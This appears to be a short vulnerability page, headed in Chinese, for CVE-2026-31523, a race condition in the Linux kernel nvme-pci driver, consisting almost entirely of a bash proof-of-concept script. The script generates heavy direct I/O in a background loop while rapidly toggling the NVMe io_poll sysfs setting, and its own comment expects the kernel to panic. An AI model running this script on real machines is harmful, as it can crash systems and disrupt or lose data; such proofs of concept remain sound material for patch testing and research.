CVE-2026-31523 Linux内核nvme-pci竞争条件漏洞

#!/bin/bash # PoC for CVE-2026-31523: Trigger race condition in nvme-pci # Description: This script toggles the io_poll setting while generating I/O. # Requirement: Local access, write permission to /sys/block/.../queue/io_poll DEVICE="/sys/block/nvme0n1/queue/io_poll" # Check if device exists if [ ! -e "$DEVICE" ]; then echo "Error: NVMe device not found. Please update DEVICE path." exit 1 fi echo "[+] Starting background I/O workload..." # Generate high I/O load to trigger hipri tasks while true; do dd if=/dev/zero of=/tmp/testfile bs=1M count=100 oflag=direct 2>/dev/null rm -f /tmp/testfile done & IO_PID=$! echo "[+] Toggling io_poll to trigger race condition..." # Rapidly toggle polling to force queue resets while true; do echo 1 > "$DEVICE" usleep 1000 echo 0 > "$DEVICE" usleep 1000 done # Cleanup is not expected if panic occurs kill $IO_PID